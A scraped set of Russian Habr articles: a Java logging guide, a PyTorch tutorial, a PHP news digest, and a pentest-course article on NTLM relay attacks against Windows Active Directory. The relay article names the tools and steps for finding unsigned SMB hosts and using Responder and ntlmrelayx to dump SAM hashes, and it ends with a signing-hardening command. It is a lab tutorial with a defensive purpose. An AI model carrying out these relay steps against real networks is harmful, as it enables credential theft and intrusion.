Logger.getLogger("com.dataart.demo.java.logging.SomeClass").log(Level.INFO,"Some message");
}
...
```
По сути тоже самое но букв больше и читается не так легко.
##### Замечание между примерами
Вы наверное обратили внимание, что все сообщения в примерах на английском языке. Это не случайно. Дело в том, что даже если все-все кто работает и будет работать с Вашим кодом говорят по русски, есть вероятность, что Вам придется просматривать лог сообщения на удаленном компьютере например через ssh при этом в большом количестве случаев Вы увидите примерно такое сообщение "????, ???? ?????!!!!" (я безусловно знаю что через ssh можно протащить русские буквы, но вот почему-то далеко не всегда все оказывается настроенным должным образом).
Или даже на локальной машине в cmd вы можете увидеть что вот такое:
`INFO: ╨Ъ╨░╨║╨╛╨╡-╤В╨╛ ╤Б╨╛╨╛╨▒╤Й╨╡╨╜╨╕╨╡ ╨▓ ╨╗╨╛╨│`
С этим безусловно тоже можно бороться. Но не всегда легко объяснить заказчику на том конце телефонной трубки, как сделать так чтобы вместо крякозябр были видны русские буквы.
Совет: Пишите лог сообщения на английском языке, ну или в крайнем случае латинскими буквами.
##### Пример №2
###### Хорошо
```
try {
throw new Exception("Some exception");
} catch (Exception ex) {
log.log(Level.SEVERE, "Exception: ", ex);
}
//В стандартной лог конфигурации вы это сообщение не увидите
log.fine("some minor, debug message");
/*
Иногда вывод лог сообщений требует достаточно больших ресурсов (например
дамп какого-то пакета данных и т.п.).
В таких случаях стоит проверить выведется ли в лог сообщение для этого уровня
логирования
*/
if (log.isLoggable(Level.FINE)) {
log.fine("Some CPU consuming message: " + prepareCPUConsumingLogMessage());
}
```
1. Если Вам необходимо залогировать исключение, для этого служит метод .log(level,message,exception)
2. Если вы специально не настроили конфигурацию лог системы, сообщения с уровнем ниже info, например fine выводиться не будут. Но писать их по крайней мере для важных частей системы стоит. Когда что-то пойдет не так, Вы настроите более подробный уровень логирования и увидите много интересного.
3. Слишком много лог сообщений, даже если они физически не пишутся в лог файл из-за своего слишком маленького уровня, могут существенно замедлить выполнение программы. Особенно если для подготовки самого сообщения надо потратить много ресурсов. Для этого есть метод .isLoggable(level) — он позволяет узнать пропустит ли текущая конфигурация логера данное сообщение
###### Плохо
```
try {
throw new Exception("Some exception");
} catch (Exception ex) {
log.severe("Exception: " + ex.toString() );
}
log.fine("Some CPU consuming message: " + itTakes500MillisecondsToPrepageThisMessage());
```
Если логировать только ex.toString(), то потом Вы не сможете понять в какой строке изначально сработало исключение.
##### Пример №3
Логер надо конфигурировать. Есть конфигурация по умолчанию она выводит в консоль все сообщения с уровнем INFO и выше. Она достаточно хороша, для разработки из IDE, но для реального приложения ее обычно неплохо бы подправить.
Какие тут есть варианты
###### По умолчанию: Файл logging.properties для уровня INFO, вывод в консоль
`#Console handler
handlers= java.util.logging.ConsoleHandler
.level=INFO`
###### Делаем логирование более подробным выводим еще и сообщения уровня FINE
`#Console handler
handlers= java.util.logging.ConsoleHandler
.level=FINE
java.util.logging.ConsoleHandler.level = FINE`
Что мы тут сделали
* Установили уровень FINE для корневого логера, просто чтобы сообщения пролезали внутрь лог системы.
* И сказали что все что пролезет через лог систему надо выводить на консоль от уровня FINE и выше.
###### Выводим лог сообщения куда-то еще
Чем плох вывод на консоль? Консоль это по сути дела старый добрый [stderr](http://en.wikipedia.org/wiki/Standard_streams). Что это значит:
* Если приложение запускается с помощью javaw Вы вообще ничего не увидите.
* Если вывод идет в консоль и нужное вам сообщение промелькнуло 4 часа назад буфер консоли его уже съел, информация пропала.
* Если вывод консоли направлен в файл *java com.yourcompanyname.EntryClass 2>>application\_log.txt* и приложение работает не останавливаясь несколько недель — файл будет весьма и весьма большим, рискуя занять весь диск.
Чтобы решить эти проблемы был придуман java.util.logging.FileHandler — хэндлер который выводит лог сообщения в файл. При этом он умеет ротировать файлы, т.е. после достижения максимально допустимого размера, он дописывает в файл текщуее лог сообщение и открывает новый файл с инкрементальным префиксом. И так по кругу. Например
````
handlers= java.util.logging.FileHandler
java.util.logging.FileHandler.pattern = application_log.txt
java.util.logging.FileHandler.limit = 50
java.util.logging.FileHandler.count = 7
java.util.logging.FileHandler.formatter = java.util.logging.SimpleFormatter
````
создаст вот такие файлы (последняя колонка — размер в байтах)
```
application_log.txt.0 │ 0
application_log.txt.1 │ 79
application_log.txt.2 │ 79
application_log.txt.3 │ 676
application_log.txt.4 │ 87
application_log.txt.5 │ 114
```
Мы указали максимальный размер 50 байтов, в реальной жизни надо скорее указывать не меньше мегабайта, например вот так (я знаю, что 1000000 это чуть меньше мегабайта, но кому охота по памяти писать 1048576, если суть дела это фактически не меняет)
```
java.util.logging.FileHandler.limit = 1000000
```
В примере, как мы видим, файлы получились больше 50 байт потому что размер по сути округляется вверх до последнего целого лог сообщения. Т.е. если Вы укажете размер 1 байт и запишете лог сообщение размером в 1000 байт то размер файла станет 1000 байт и после этого лог сообщения файл закроется и откроется следующий.
copy & paste конфиг для реальной жизни, его вполне хватает для большинства service, console и desktop приложений.
```
handlers= java.util.logging.FileHandler
java.util.logging.FileHandler.pattern = application_log.txt
java.util.logging.FileHandler.limit = 1000000
java.util.logging.FileHandler.count = 5
java.util.logging.FileHandler.formatter = java.util.logging.SimpleFormatter
```
##### Последняя часть магии
Ну и последнее о чем осталось рассказать — как собственно сконфигурировать логер из файла свойств. Есть два способа:
1. Из командной строки запуска приложения
2. В первых строчках кода Вашего приложения
Первый чуть более правильный ибо он декларативный и работает сразу, до того как начал работать код Вашего приложения.
###### Вот так
`java Djava.util.logging.config.file=logging.properties com.dataart.application.ClassName`
Но к сожалению менять строку запуска не всегда можно или не всегда удобно. Второй способ тоже неплохо работает.
```
public static void main(String[] args) {
try {
LogManager.getLogManager().readConfiguration(
MainApplicationEntryClass.class.getResourceAsStream("/logging.properties"));
} catch (IOException e) {
System.err.println("Could not setup logger configuration: " + e.toString());
}
.....
```
* Здесь MainApplicationEntryClass — это класс — точка входа в Ваше приложение, видимо имя класса у Вас будет другое
* Сам файл logging.properties как правило в таких случаях кладется в корень иерархии классов и выглядит это например вот так
##### Что осталось за кадром
В реальной жизни как минимум половина всех Java приложений это web приложения. Сама техничка логирования в них совершенно не отличается от изложенного выше. Ну может быть за тем исключением что разные сервера приложений могут использовать разные библиотеки логирования такие например как:
* Log4J
* JULI logger (строго говоря это не вполне самостоятельный фреймворк, а своего рода надстройка над java.util.logging)
* SLF4J
* Commons Logging
Соответственно несколько отличается настройка и имена методов. Но сам принцип меняется мало. Конкретные особенности как правило хорошо описаны в документации на сам сервер приложений, например
* [Tomcat](http://tomcat.apache.org/tomcat-7.0-doc/logging.html)
* [JBoss](http://docs.jboss.org/process-guide/en/html/logging.html)
* [Resin](http://www.caucho.com/resin-3.0/config/log.xtp) | https://habr.com/ru/post/130195/ | null | ru | null |
# Продвинутое использование библиотеки PYTORCH: от подготовки данных до визуализации
PyTorch — современная библиотека машинного обучения с открытым исходным кодом, разработанная компанией Facebook. Как и другие популярные библиотеки, такие как TensorFlow и Keras, PyTorch позволяет использовать вычислительную мощность видеокарт, автоматически составлять граф вычислений, дифференцировать и считать его. Но, в отличие от предыдущих библиотек, обладает более гибким функционалом, благодаря тому, что использует динамический граф вычислений.
Сейчас мы пройдем все этапы работы с библиотекой PyTorch. Мы затронем далеко не все возможности данной библиотеки, но их хватит, чтобы начать с ней работать. Научимся пользоваться инструментами для подготовки данных, которые делают загрузку данных легкой и уменьшают объем написанного кода. Создадим простую нейросеть, а также класс, который будет ее обучать и который можно будет применить для обучения любой модели, созданной в PyTorch. В конце мы визуализируем результат, чтобы оценить качество обученной модели.
Для начала загрузим нужные библиотеки:
```
import torch
from torch.utils.data import Dataset, DataLoader
import matplotlib.pyplot as plt
from sklearn.datasets import make_moons
from sklearn.model_selection import train_test_split
import copy
import datetime as dt
import pandas as pd
import numpy as np
```
Воспользуемся генератором датасета make\_moons из библиотеки *sklearn*, который генерирует два класса в двумерном пространстве в виде полумесяца. Добавим немного шума при генерации (переменная noise)
```
X, y = make_moons(n_samples=150, random_state=33, noise=0.2)
```
Обернем данные в *pandas.DataFrame* для наглядности:
```
df = pd.DataFrame(X, columns=['x1', 'x2'])
df['target'] = y
df.head(5)
```
Раделим датасет на тренировочную и тестовую выборки с соотношением 6:4 при помощи функции train\_test\_split из библиотеки *sklearn*
```
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4, random_state=33)
```
Визуализируем получившееся разделение:
```
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12,5))
ax1.scatter(X_train[:,0][y_train == 0], X_train[:,1][y_train == 0], c='red', marker='o', edgecolors = 'black', alpha = 0.6)
ax1.scatter(X_train[:,0][y_train == 1], X_train[:,1][y_train == 1], c='green', marker = 'o', edgecolors = 'black', alpha = 0.6)
ax1.set_title('Train', fontsize=20)
ax2.scatter(X_test[:,0][y_test == 0], X_test[:,1][y_test == 0], c='red', marker='o', edgecolors = 'black', alpha = 0.6)
ax2.scatter(X_test[:,0][y_test == 1], X_test[:,1][y_test == 1], c='green', marker = 'o', edgecolors = 'black', alpha = 0.6)
ax2.set_title('Test', fontsize=20);
```
Создадим класс **MyDataset**, который наследуется от класса torch.utils.data.Dataset. Переопределим методы \_\_len**и \_\_getitem**, чтобы при вызове соответствующих методов мы получали объем выборки и пару значение-метка.
```
class MyDataset(Dataset):
def __init__(self, X, y):
self.X = torch.Tensor(X)
self.y = torch.from_numpy(y).float()
def __len__(self):
return self.X.shape[0]
def __getitem__(self, index):
return (self.X[index], self.y[index])
```
Сделаем нашу игрушечную нейросеть с тремя полно связными слоями. Между слоями поместим функции активации ReLU, а в третьем слое — сигмоиду.Первый слой будет принимать на вход значение *x1* и *x2* и на выходе давать 50 значений. Второй будет принимать 50 значений из первого слоя и подавать 50 значений на третий слой. А уже третий слой будет сжимать эти 50 значений до одного в интервале от 0 до 1 (это будет вероятность отнесения наблюдения к классу «1»).
```
import torch.nn as nn
ReLU = nn.ReLU()
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.fc1 = nn.Linear(2, 50)
self.fc2 = nn.Linear(50, 50)
self.fc3 = nn.Linear(50, 1)
def forward(self, x):
x = ReLU(self.fc1(x))
x = ReLU(self.fc2(x))
x = torch.sigmoid(self.fc3(x))
return x.view(-1)
```
Создадим экземпляр нашей нейросети и выведем ее структуру. Мы увидим количество слоев, количество параметров на входе и выходе у каждого слоя и наличие\отсутствие свободного члена.
```
net = Net()
print(net)
```
```
Net(
(fc1): Linear(in_features=2, out_features=50, bias=True)
(fc2): Linear(in_features=50, out_features=50, bias=True)
(fc3): Linear(in_features=50, out_features=1, bias=True)
)
```
Теперь создадим класс, который будет похож на модели, реализованные в библиотеке *sklearn*. Он будет предобрабатывать данные, тренировать нашу нейросеть, запоминать ход обучения и сохранять самую успешную попытку. Описание всех параметров находится внутри класса.
```
In [9]:
class Trainer():
"""
Parameters:
dataset: пользовательский класс, предобрабатывающий данные
loss_f: функция потерь
learning_rate: величина градиентного шага
epoch_amount: общее количество эпох
batch_size: размер одного бача
max_batches_per_epoch: максимальное количество бачей,
подаваемых в модель в одну эпоху
device: устройство для вычислений
early_stopping: количество эпох без улучшений до остановки обучения
optim: оптимизатор
scheduler: регулятор градиентного шага
permutate: перемешивание тренировочной выборки перед обучением
Attributes:
start_model: необученная модель
best_model: модель, после обучения
train_loss: средние значения функции потерь на тренировочных
данных в каждой эпохе
val_loss: средние значения функции потерь на валидационных
данных в каждой эпохе
Methods:
fit: обучение модели
predict: возвращает предсказание обученной моделью
"""
def __init__(self, dataset, net, loss_f, learning_rate=1e-3,
epoch_amount=10, batch_size=12,
max_batches_per_epoch=None,
device='cpu', early_stopping=10,
optim=torch.optim.Adam,
scheduler=None, permutate=True):
self.loss_f = loss_f
self.learning_rate = learning_rate
self.epoch_amount = epoch_amount
self.batch_size = batch_size
self.max_batches_per_epoch = max_batches_per_epoch
self.device = device
self.early_stopping = early_stopping
self.optim = optim
self.scheduler = scheduler
self.permutate = permutate
self.dataset = dataset
self.start_model = net
self.best_model = net
self.train_loss = []
self.val_loss = []
def predict(self, X):
return self.best_model(X)
def fit(self, X_train, X_test, y_train, y_test):
Net = self.start_model
device = torch.device(self.device)
Net.to(self.device)
optimizer = self.optim(Net.parameters(), lr=self.learning_rate)
if self.scheduler is not None:
scheduler = self.scheduler(optimizer)
train = self.dataset(X_train, y_train)
val = self.dataset(X_test, y_test)
train = DataLoader(train, batch_size=self.batch_size, shuffle=self.permutate)
val = DataLoader(val, batch_size=self.batch_size, shuffle=False)
best_val_loss = float('inf') # Лучшее значение функции потерь на валидационной выборке
# функции потерь на валидационной выборке
best_ep = 0 # Эпоха, на которой достигалось лучшее
# значение функции потерь на валидационной выборке
for epoch in range(self.epoch_amount):
start = dt.datetime.now()
print(f'Эпоха: {epoch}', end=' ')
Net.train()
mean_loss = 0
batch_n = 0
for batch_X, target in train:
if self.max_batches_per_epoch is not None:
if batch_n >= self.max_batches_per_epoch:
break
optimizer.zero_grad()
batch_X = batch_X.to(self.device)
target = target.to(self.device)
predicted_values = Net(batch_X)
loss = self.loss_f(predicted_values, target)
loss.backward()
optimizer.step()
mean_loss += float(loss)
batch_n += 1
mean_loss /= batch_n
self.train_loss.append(mean_loss)
print(f'Loss_train: {mean_loss}, {dt.datetime.now() - start} сек')
Net.eval()
mean_loss = 0
batch_n = 0
with torch.no_grad():
for batch_X, target in val:
if self.max_batches_per_epoch is not None:
if batch_n >= self.max_batches_per_epoch:
break
batch_X = batch_X.to(self.device)
target = target.to(self.device)
predicted_values = Net(batch_X)
loss = self.loss_f(predicted_values, target)
mean_loss += float(loss)
batch_n += 1
mean_loss /= batch_n
self.val_loss.append(mean_loss)
print(f'Loss_val: {mean_loss}')
if mean_loss < best_val_loss:
self.best_model = Net
best_val_loss = mean_loss
best_ep = epoch
elif epoch - best_ep > self.early_stopping:
print(f'{self.early_stopping} без улучшений. Прекращаем обучение...')
break
if self.scheduler is not None:
scheduler.step()
print()
```
Прежде всего мы запишем все параметры обучения нашей модели в атрибуты класса внутри метода \_\_init\_\_. Также инициализируем два атрибута train\_loss и val\_loss, куда будем записывать значение функции потерь на тренировочной и валидационной выборке.
Затем создаем метод predict для удобного использования обученной модели. После создаем метод fit, который будет производить обучение нашей модели. На вход он будет принимать данные для тренировки и валидации. Внутри него помещаем нашу модель на то устройство, на котором собираемся производить вычисления (*‘cpu’* — для процессора или *‘cuda:*\*’, где \* номер вашей видеокарты. Это самые распространенные устройства, могут быть и другие).
Далее указываем оптимизатор torch.optim, который будет делать градиентные шаги. Если пользователь ничего не выбрал, будет использоваться torch.optim.Adam. Также пользователь может настроить изменение градиентных шагов в ходе обучения с помощью torch.optim.lr\_scheduler, но это не обязательно.
После этого помещаем данные для тренировочной и валидационной выборки в класс, который создали ранее (в нашем случае это MyDataset).
Затем подаем наши подготовленные данные в torch.utils.data.DataLoader, указывая размер бача (сколько данных будет подаваться в модель за один раз). Классы torch.utils.data.DataLoader и torch.Tensor torch.utils.data.Dataset (от которого мы унаследовали класс MyDataset) служат для упрощения и ускорения загрузки данных и экономии памяти.
Подготовив данные и создав необходимые переменные, мы начинаем процесс обучения. Для этого переводим нашу модель в режим train. В этом состоянии будут работать различные методы регуляризации (батч-нормализация, дропаут и т.д). В нашем примере для простоты мы никаких методов регуляризации в нашу модель не добавили.
Внутри второго цикла мы перебираем батчи, которые нам отдает итератор train\_dataloader. Каждый батч перемещаем на то устройство, которое мы выбрали в начале. Далее обнуляем градиент у оптимизатора, т.к. в PyTorch по умолчанию градиент будет накапливаться после каждой итерации. После этого делаем основные три действия: совершаем прямой проход по нейросети, считаем значение для функции потерь и на основе этого делаем градиентный шаг. Выводим значение функции потерь на тренировочной выборке и время, потраченное на обучение внутри одной эпохи.
Затем мы считаем значении функции потерь на валидационной выборке. Для этого мы переводим модель в режим eval и отключаем расчет градиента. После этого делаем то же, что и при обучении, но без градиентного шага. Результат функции потерь также выводим на экран. Если результат функции потерь на валидационной выборке оказался лучше, чем был, то мы сохраняем текущую модель в переменную best\_model.
Все эти шаги повторяются столько раз, сколько мы указали в epoch\_amount, либо до тех пор пока значение функции потерь на валидационной выборке не перестанет изменяться (если указан параметр early\_stopping).
На выходе мы получим модель, которая лучшим образом показала себя на валидационной выборке, значение функции потерь на этой модели и два списка со значением функции потерь в ходе обучения на тренировочных и валидационных данных.
Теперь настало время опробовать класс на нашем датасете. В качестве функции потерь выберем бинарную кросс-энтропию torch.nn.BCELoss, а в качестве оптимизатора — стохастический градиентный спуск torch.optim.SGD.
Запишем все выбранные параметры в словарь и подадим его методу fit.
```
params = {
'dataset': MyDataset,
'net': net,
'epoch_amount': 1000,
'learning_rate': 1e-2,
'early_stopping': 25,
'loss_f': nn.BCELoss(),
'optim': torch.optim.SGD,
}
clf = Trainer(**params)
clf.fit(X_train, X_test, y_train, y_test)
```
Осталось визуализировать полученный результат.
Построим график изменения значения функции потерь на тренировочной и валидационной выборке от количества эпох.
```
def plot_loss(Loss_train, Loss_val):
plt.figure(figsize=(12, 5))
plt.plot(range(len(Loss_train)), Loss_train, color='orange', label='train', linestyle='--')
plt.plot(range(len(Loss_val)), Loss_val, color='blue', marker='o', label='val')
plt.legend()
plt.show()
plot_loss(clf.train_loss, clf.val_loss)
```
Визуализируем границу разделения.
```
def make_meshgrid(x1, x2, h=.02):
x1_min, x1_max = x1.min() - 2, x1.max() + 2
x2_min, x2_max = x2.min() - 2, x2.max() + 2
xx1, xx2 = np.meshgrid(np.arange(x1_min, x1_max, h), np.arange(x2_min, x2_max, h))
return xx1, xx2
def plot_contours(ax, xx1, xx2, **params):
C = clf.predict(torch.Tensor(np.c_[xx1.ravel(), xx2.ravel()])).detach().numpy()
C = C.reshape(xx1.shape)
out = ax.contourf(xx1, xx2, C, **params)
return out
fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12,5))
xx1, xx2 = make_meshgrid(X[0], X[1])
ax1.scatter(X_train[:,0][y_train == 0], X_train[:,1][y_train == 0], c='red', marker='o', edgecolors = 'black', alpha = 0.6)
ax1.scatter(X_train[:,0][y_train == 1], X_train[:,1][y_train == 1], c='green', marker = 'o', edgecolors = 'black', alpha = 0.6)
ax1.set_title('Train', fontsize=20)
plot_contours(ax1, xx1, xx2, alpha=0.2)
ax2.scatter(X_test[:,0][y_test == 0], X_test[:,1][y_test == 0], c='red', marker='o', edgecolors = 'black', alpha = 0.6)
ax2.scatter(X_test[:,0][y_test == 1], X_test[:,1][y_test == 1], c='green', marker = 'o', edgecolors = 'black', alpha = 0.6)
ax2.set_title('Test', fontsize=20)
plot_contours(ax2, xx1, xx2, alpha=0.2);
```
Желтым цветом показана область, где вероятность встретить точку из класса «1» максимальна. Соответственно, для точки из класса «0» вероятность максимальна в красной области. Как мы видим, граница разделения получилась нелинейной, т.к. в нейросетях используются нелинейные функции активации. | https://habr.com/ru/post/553716/ | null | ru | null |
# Повтор — тоже атака. Часть 1
Данная статья является первой из трех, которые будут рассказывать об инструментах, которые используются для тестирования внутренней инфраструктуры Windows Active Directory. Во всех тестовых сценариях подразумевается, что уже есть доступ во внутреннюю инфраструктуру и в ней есть активные пользователи, которые пользуются сервисами Windows AD, такими как файловые шары, центры сертификации, веб-приложения и т.д.
Статья предоставляется исключительно в ознакомительных целях. Все тесты рекомендуется производить только в своей тестовой виртуальной среде.
### Описание атаки
Атаки на повторение, представляют собой пласт возможных действий, которые позволяют атакующему использовать несовершенство сетевых и криптографических протоколов для получения доступа к ресурсам инфраструктуры. В системе Windows Active Directory существует 2 вида атак на повторение:
* атаки на механизм аутентификации NTLM;
* атаки на механизм аутентификации Kerberos.
Почему эти атаки возможны? Ответ достаточно прост, механизмы, которые используются для аутентификации не предусматривают механизмов проверки того кто отправил сообщения для инициализации процесса аутентификации. Поэтому для проведения атаки достаточно просто повторить данные, которые предоставлялись легитимным пользователем.
В этой статье рассмотрим возможности атак с использоваием NTLM. Атаки на этот механизм аутентификации известен достаточно давно. Компания Microsoft старалась исправить проблемы этого механизма, поэтому существует несколько версий, которые включают достаточно эффективные решения для противодействия атакам, поэтому для реализации атак нужно чтобы совпало несколько условий. Каждый набор условий будем рассматривать в разделе практического тестирования.
Через атаку на повторение можно добиться разных результатов среди них:
* повышение привелегий;
* дамп данных из локальных и удаленных хранилищ хэшей;
* выполнение команды на сервере;
* выпуск данных для аутентификации.
Самым сложным в таких атак является представление, что возможно использовать в качестве следующго шага. К счастью в сфере информационной безопасности исследователи создали небольшую карту действий, выглядит она вот так:
Взято [отсюда](https://twitter.com/_nwodtuhs/status/1424433914752421898/photo/1).
Попробуем воспользоваться инструкциями из картинки.
### Инструменты и стенд
Стенд будет состоять из сервера Windows 2019, машины Windows 10 и Kali Linux, на них будет разворачиваться мини инфраструктура, которая будет включать те неверные конфигурации, которые позволяют производить атаки на повторение. На всех серверах разворачивается домен LAB.LOCAL.
Стенд SMB->SMB:
* Windows Server 2019 — контроллер домена;
* Windows 10 участник домена;
* Kali Linux.
Все машины включены в локальную сеть. Первый «классический» пример атаки требует выполнения следующих условий:
1. Есть broadcast трафик, который будет доступен в сети. Чаще всего это LLMR и Netbios.
2. Наличие сервисов, которые используют механизм аутентификации NTLM и в сообщениях механизма не включена валидация целостности.
3. Пользователь должен быть локальным администратором на машине.
Настроим стенд:
1. Windows Server.
* настроить достаточно просто — выбираем Active Directory Services в меню `Add Roles and Features`;
* создаем 2х пользователей — testUser1, testUser2;
* используя команду `net localgroup Administrators testUser2 /add` добавляем пользователя;
* создаем smb шару для взаимодействий.
2. Windows 10 — как раз рабочая машина пользователя testUser2, поэтому ее нужно ввести в домен и выполнять доступ в шару.
Набор инструментов для тестирования(указан избыточно, можно использовать только наиболее удобные):
* WireShark;
* tcpdump;
* Responder;
* impacket;
* crackmapexec;
* nmap.
Итак, преступим к тестированию. Для успешной атаки нам нужно подтвердить наличие неверных конфигураций. Сделать это можно следующим образом:
1. Проверить наличие трафика мультикаст и бродкаст запросов. Сделать это можно через Wireshark, tcpdump или через Responder:
Запускаем анализ:
Результат анализа — мы видим необхоимый для атаки трафик:
Нужно помнить, что Responder необходимо включать в режиме мониторинга, иначе присутствие в сети может нарушить работу сервисов и мы просто потратим зря время.
В Wireshark нужно использовать фильтр `llmnr || netbios`:
Примечание: в нашем тестовом сценарии только 3 машины и поэтому трафик можно мониторить и через GUI версию WireShark, однако, если это будет огромная сеть, то стоит сделать тоже самое через tshark или tcpdump.
2. Выяснить, работает ли механизм проверки целостности. Для этого можно воспользоваться несколькими инструментами, ниже приведены примеры того как это можно сделать.
Через nmap можно воспользоваться скриптами `smb2-security-mode` и `smb-security-mode`:
Для smb1:
Для более новых версий:
Так же можно собрать данные через crackmapexec, выполняется это через флаг smb модуля `--gen-relay-list`:
Теперь есть список хостов, которые можно использовать для проведения атаки.
Для непосредественной атаки запускаем 2 инструмента: Responder с отключенными серверами http и smb, и ntlmrelayx.py
Запускаем `ntlmrelayx`:
Так же включаем Responder:
Ждем взаимодействий пользователя в сети и получаем дамп Sam хэшей:
Из особенностей — атака возможна только в случае если повтор осуществляется между разными машинами, самому себе отправить запрос нельзя. Это правило появилось в 2016 году и работает до сих пор. Для обхода ограничения можно обернуть редирект в socks.
Как этого избежать? Нужно использовать механизмы проверки целостности всех сообщений, которые используются для аутентификации. Для этого можно провести вот такой простой командой:
```
Set-SmbServerConfiguration -RequireSecuritySignature $True -EnableSecuritySignature $True -EncryptData $True -Confirm:$false
```
В следующей статье попробуем провести атаки на повторение, если включены механизмы проверки целостности.
---
Статья написана Александром Колесниковым в рамках курса OTUS «Пентест. Практика тестирования на проникновение». Всех желающих приглашаем на открытый урок «Инструменты для взаимодействия с инфраструктурой Windows AD» 17 марта. На занятии рассмотрим, как работают инструменты Bloodhound и Rubeus, а также протестируем известные мисконфигурации. Для развертывания стенда будут предоставлены скрипты на первом занятии. [Присоединяйтесь.](https://otus.pw/NgWV/) | https://habr.com/ru/post/654383/ | null | ru | null |
# PHP-Дайджест № 97 – интересные новости, материалы и инструменты (14 – 27 ноября 2016)
[](https://habrahabr.ru/company/zfort/blog/316254/)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [PHP 7.1.0 выйдет 1 декабря](http://externals.io/thread/512)
* [PSR-13: Link definition interfaces](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-13-links.md) — [Принят](https://groups.google.com/forum/#!msg/php-fig/bHLbd2ZuOCU/Pv2vqGxNAwAJ) стандарт, регламентирующий интерфейс гипермедиа ссылок.
* [PSR-16: Simple Cache](https://github.com/php-fig/fig-standards/blob/1cf169c66747640c6bc7fb5097d84fbafcd00a0c/proposed/simplecache.md) — Стандарт интерфейса для простого кеширования перешел в стадию ревью.
* [PhpStorm 2016.3](https://blog.jetbrains.com/phpstorm/2016/11/phpstorm-2016-3-is-now-released/) — Под капотом целая пачка улучшений и нововведений.
* [Баги в механизме обновления Wordpress ставят под угрозу треть всех сайтов в интернете](https://xakep.ru/2016/11/23/wordpress-auto-update-flaws/)
### PHP
* [RFC: User defined session serializer](https://wiki.php.net/rfc/user_defined_session_serializer) — Предлагается сделать возможным регистрировать собственный сериализатор для сессий.
* [RFC: Debugging PDO Prepared Statement Emulation v2](https://wiki.php.net/rfc/debugging_pdo_prepared_statement_emulation_v2) — Предложение эмулировать подготовленные выражения непосредственно в PHP для удобства отладки успешно прошло голосование, однако вызвало критику и автор обновил реализацию.
* [RFC: Deprecations for PHP 7.2](https://wiki.php.net/rfc/deprecations_php_7_2) — Кроме добавления новых возможностей, шаг за шагом удаляются и устаревшие. В следующем выпуске предлагается объявить устаревшими:
+ \_\_autoload
+ $php\_errormsg
+ create\_function()
+ mbstring.func\_overload
+ (unset) cast
+ parse\_str() без второго аргумента
+ gmp\_random()
+ (binary) приведение типов и b"" литералы
+ each()
+ assert() со строковым аргументом
+ аргумент $errcontext для обработчика ошибок
* [RFC: Abolish Narrow Margins](https://wiki.php.net/rfc/abolish-narrow-margins) — Если RFC не предполагает кардинальных изменений, то на голосовании для принятия достаточно 50%+1 голосов. Однако есть мнение, что такие изменения могут приводить к неблагоприятным результатам. Поэтому предлагается для любых голосований повысить порог до 2/3 голосов.
### Инструменты
* [request extension](https://pecl.php.net/package/request) — Расширение для PHP 7, которое добавляет объекты Request и Response в замену суперглобальным массивам. Для PHP 5 доступно в виде пакета [pmjones/request](https://packagist.org/packages/pmjones/request). [Пост](http://paul-m-jones.com/archives/6416) от автора в поддержку. Обзор расширения в [Пятиминутке PHP](http://5minphp.ru/episode24/).
* [Deployer 4](https://github.com/deployphp/deployer/releases/tag/v4.0.0) — Мажорное обновление популярного инструмента для деплоя.
* [Swoole 1.9.0](https://github.com/swoole/swoole-src) — Расширение для реализации высокопроизводительных асинхронных приложений. Из коробки HTTP/WebSOcket-сервер, асинхронный MySQL-клиент, асинхронный I/O, воркеры, и другое.
* [API Platform 2.0](https://github.com/api-platform/api-platform) — API-ориентированный фреймворк поверх Symfony. [Пост](https://dunglas.fr/2016/11/api-platform-2-0-released-creating-powerful-web-apis-has-never-been-so-easy/) с описанием второй версии.
* [Peachpie 0.2.0](http://www.peachpie.io/2016/11/peachpie-0-2-0.html) — PHP компилятор для .NET.
* [bobthecow/psysh](https://github.com/bobthecow/psysh) — Отличный REPL (интерактивный шелл) для PHP.
* [paragonie/gpg-mailer](https://github.com/paragonie/gpg-mailer) — Отправка зашифрованных с помощью GPG имейлов на основе [zendframework/zend-mail](https://github.com/zendframework/zend-mail).
* [ipfspics/ipfspics-server](https://github.com/ipfspics/ipfspics-server) — Распределенное хранилище изображений на основе [IPFS](https://github.com/ipfs/ipfs).
* [davidrjonas/composer-lock-diff](https://github.com/davidrjonas/composer-lock-diff) — Показывает что было обновлено после запуска `composer update`.
* [paragonie/passwdqc](https://github.com/paragonie/passwdqc) — Проверка сложности пароля.
* [piwik/device-detector](https://github.com/piwik/device-detector) — Универсальный парсер User Agent для определения устройства, браузера, ОС и другой информации.
* [Spomky-Labs/jose](https://github.com/Spomky-Labs/jose) — Библиотека для подписи и шифрования JSON (JWT, JWS, JWE, JWA, JWK, JWKSet).
### Материалы для обучения
* ##### PHP 7.1
+ [Что нового в PHP 7.1.0](https://kinsta.com/blog/php-7-1-0/)
+ [Обзор нововведений PHP 7.1](https://blog.shameerc.com/2016/11/php-71-8-new-features-you-need-to-know)
+ [PHP 7.1: об изменениях в типах](https://blog.pascal-martin.fr/post/php71-en-types.html)
* ##### Symfony
+  [Один год с Symfony](https://leanpub.com/a-year-with-symfony-ru) — Перевод книги «A year with Symfony» от Matthias Noback. Прислал [Кирилл Маренов](http://kmarenov.me).
+ [Переводим пароли пользователей на новый алгоритм шифрования в Symfony](https://tideways.io/profiler/blog/migrating-users-to-new-password-hashing-algorithms-in-symfony)
+ [Неделя Symfony #516 (14-20 ноября 2016)](http://symfony.com/blog/a-week-of-symfony-516-14-20-november-2016)
+ [Неделя Symfony #517 (21-27 ноября 2016)](http://symfony.com/blog/a-week-of-symfony-517-21-27-november-2016)
* ##### Yii
+ [Yii2: Автоматизированное тестирование с помощью Codeception](https://code.tutsplus.com/tutorials/programming-with-yii2-automated-testing-with-codeception--cms-26790)
+ [Yii 2 Application Development Cookbook — Third Edition](http://rmcreative.ru/blog/post/yii-2-application-development-cookbook---third-edition) — Новая книга с рецептами для Yii 2.
+ [yiisoft/yii2-shell](https://github.com/yiisoft/yii2-shell) — Интерактивный шелл для Yii 2 на основе [Psysh](http://psysh.org/).
+  [Новости Yii 2. №1](https://habrahabr.ru/post/316038/)
* ##### Laravel
+ [Видеокурс по разработке API на Laravel](https://www.codecourse.com/lessons/api-development-with-laravel) — Прислал [Владислав Старцев](https://twitter.com/IssecMura).
+ [Laravel Up and Running](https://laravelupandrunning.com/) — Новая книга по Laravel.
